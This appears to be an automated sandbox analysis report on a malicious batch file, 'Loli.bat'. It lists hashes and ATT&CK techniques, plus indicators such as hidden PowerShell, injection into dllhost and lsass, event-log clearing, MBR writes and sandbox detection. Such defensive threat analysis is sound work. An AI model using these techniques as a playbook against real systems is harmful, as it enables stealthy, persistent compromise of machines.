c07250a2ea7a8523defaa97352e48b28106c21a111c81285a9ab0a34843bdc0d

Resubmissions

28/12/2024, 23:21

241228-3cea8svmcx 10

28/12/2024, 23:15

241228-28pw6svnfk 10

Analysis

max time kernel
129s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28/12/2024, 23:21

Sharing

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Report Analysis Logs

General

Target

Loli.bat
Size

7.3MB
MD5

d96987d5645d0a45dc0830e166db747e
SHA1

ffe0eb0aaca891bba84dd508accdbbc2df6d59f9
SHA256

c07250a2ea7a8523defaa97352e48b28106c21a111c81285a9ab0a34843bdc0d
SHA512

43d8c564977621e9368023aa3b7405b52e3d5a0d9e4c4cd4e9755be5023f59d23408cf7d50c388865d4d9215789917d5d099e66614fbb08fab38f65b94c6fa4b
SSDEEP

49152:DaNZgAgNBABjEgJfptzhAZ4TNiuEq9oRmcXMLEg4y07s8HuxsTZAOcHqjEItFHEH:4

Score

10^/10

bootkit defense_evasion execution persistence

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2000 created 612	2000	powershell.exe	5

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2000	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2000 set thread context of 1676	2000	powershell.exe	90

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02okldozfmtvzlkh\DeviceId = "<Data LastUpdatedTime=\"1735428135\"><User username=\"02OKLDOZFMTVZLKH\"><HardwareInfo BoundTime=\"1735428135\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02okldozfmtvzlkh\Provision Saturday, December 28, 2024 23:22:14 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAATEsmPOMyVkOonVeptikfaAAAAAACAAAAAAAQZgAAAAEAACAAAABOIk7fNxSlfcJ85rDMbynbQXkpMx87OKR/2i6EKX9xQAAAAAAOgAAAAAIAACAAAADT18NpQ5MeGPhE/tOncpc0iMw4aSiesJ2Xtw2ZI2B9FSAAAACsnf1//iAuRvUymJ0Ka905aLEaXjt1LRrRCHeIQeY1ZUAAAABk/8u0/FrOiIZUaVBCyTgduobLWIvWGFPYFKqTWB/ZoWwu/K32xWSSXPPIhIMrTOLfWJcHOnl/idNt2AUOQQf/"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02okldozfmtvzlkh	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02okldozfmtvzlkh\DeviceId = "<Data LastUpdatedTime=\"1735428135\"><User username=\"02OKLDOZFMTVZLKH\"/></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02okldozfmtvzlkh"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C0109E210FE1"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02okldozfmtvzlkh\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1735428215"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02okldozfmtvzlkh	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 28 Dec 2024 23:23:35 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={A12D8F7C-D7F5-483B-B90C-BCC15D5FB2ED}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2000	powershell.exe
2000	powershell.exe
2000	powershell.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe
1676	dllhost.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
1620	Process not Found
1056	Process not Found
4324	Process not Found
380	Process not Found
316	Process not Found
3996	Process not Found
3444	Process not Found
4056	Process not Found
228	Process not Found
4040	Process not Found
4112	Process not Found
4036	Process not Found
4152	Process not Found
4208	Process not Found
4240	Process not Found
4472	Process not Found
4252	Process not Found
3792	Process not Found
4924	Process not Found
4928	Process not Found
4108	Process not Found
1480	Process not Found
2032	Process not Found
3864	Process not Found
3856	Process not Found
4020	Process not Found
3536	Process not Found
4340	Process not Found
632	Process not Found
3828	Process not Found
1180	Process not Found
2636	Process not Found
4808	Process not Found
4544	Process not Found
1760	Process not Found
3888	Process not Found
3932	Process not Found
4356	Process not Found
4364	Process not Found
212	Process not Found
1176	Process not Found
772	Process not Found
1984	Process not Found
1952	Process not Found
5080	Process not Found
2252	Process not Found
2200	Process not Found
4124	Process not Found
3628	Process not Found
2472	Process not Found
4336	Process not Found
4684	Process not Found
3312	Process not Found
3624	Process not Found
4828	Process not Found
1704	Process not Found
3532	Process not Found
1596	Process not Found
1080	Process not Found
3608	Process not Found
3988	Process not Found
1616	Process not Found
1208	Process not Found
60	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	1676	dllhost.exe
Token: SeAuditPrivilege	2536	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2188	svchost.exe
Token: SeIncreaseQuotaPrivilege	2188	svchost.exe
Token: SeSecurityPrivilege	2188	svchost.exe
Token: SeTakeOwnershipPrivilege	2188	svchost.exe
Token: SeLoadDriverPrivilege	2188	svchost.exe
Token: SeSystemtimePrivilege	2188	svchost.exe
Token: SeBackupPrivilege	2188	svchost.exe
Token: SeRestorePrivilege	2188	svchost.exe
Token: SeShutdownPrivilege	2188	svchost.exe
Token: SeSystemEnvironmentPrivilege	2188	svchost.exe
Token: SeUndockPrivilege	2188	svchost.exe
Token: SeManageVolumePrivilege	2188	svchost.exe
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	2908	svchost.exe
Token: SeCreatePagefilePrivilege	2908	svchost.exe
Token: SeShutdownPrivilege	2908	svchost.exe
Token: SeCreatePagefilePrivilege	2908	svchost.exe
Token: SeShutdownPrivilege	2908	svchost.exe
Token: SeCreatePagefilePrivilege	2908	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2188	svchost.exe
Token: SeIncreaseQuotaPrivilege	2188	svchost.exe
Token: SeSecurityPrivilege	2188	svchost.exe
Token: SeTakeOwnershipPrivilege	2188	svchost.exe
Token: SeLoadDriverPrivilege	2188	svchost.exe
Token: SeBackupPrivilege	2188	svchost.exe
Token: SeRestorePrivilege	2188	svchost.exe
Token: SeShutdownPrivilege	2188	svchost.exe
Token: SeSystemEnvironmentPrivilege	2188	svchost.exe
Token: SeManageVolumePrivilege	2188	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2188	svchost.exe
Token: SeIncreaseQuotaPrivilege	2188	svchost.exe
Token: SeSecurityPrivilege	2188	svchost.exe
Token: SeTakeOwnershipPrivilege	2188	svchost.exe
Token: SeLoadDriverPrivilege	2188	svchost.exe
Token: SeSystemtimePrivilege	2188	svchost.exe
Token: SeBackupPrivilege	2188	svchost.exe
Token: SeRestorePrivilege	2188	svchost.exe
Token: SeShutdownPrivilege	2188	svchost.exe
Token: SeSystemEnvironmentPrivilege	2188	svchost.exe
Token: SeUndockPrivilege	2188	svchost.exe
Token: SeManageVolumePrivilege	2188	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2188	svchost.exe
Token: SeIncreaseQuotaPrivilege	2188	svchost.exe
Token: SeSecurityPrivilege	2188	svchost.exe
Token: SeTakeOwnershipPrivilege	2188	svchost.exe
Token: SeLoadDriverPrivilege	2188	svchost.exe
Token: SeSystemtimePrivilege	2188	svchost.exe
Token: SeBackupPrivilege	2188	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 3152	4860	cmd.exe	85
PID 4860 wrote to memory of 3152	4860	cmd.exe	85
PID 4860 wrote to memory of 3124	4860	cmd.exe	86
PID 4860 wrote to memory of 3124	4860	cmd.exe	86
PID 4860 wrote to memory of 3804	4860	cmd.exe	87
PID 4860 wrote to memory of 3804	4860	cmd.exe	87
PID 4860 wrote to memory of 2000	4860	cmd.exe	88
PID 4860 wrote to memory of 2000	4860	cmd.exe	88
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 2000 wrote to memory of 1676	2000	powershell.exe	90
PID 1676 wrote to memory of 612	1676	dllhost.exe	5
PID 1676 wrote to memory of 668	1676	dllhost.exe	7
PID 668 wrote to memory of 2560	668	lsass.exe	46
PID 1676 wrote to memory of 960	1676	dllhost.exe	12
PID 1676 wrote to memory of 332	1676	dllhost.exe	13
PID 668 wrote to memory of 2560	668	lsass.exe	46
PID 668 wrote to memory of 2560	668	lsass.exe	46
PID 1676 wrote to memory of 388	1676	dllhost.exe	14
PID 668 wrote to memory of 2560	668	lsass.exe	46
PID 1676 wrote to memory of 868	1676	dllhost.exe	15
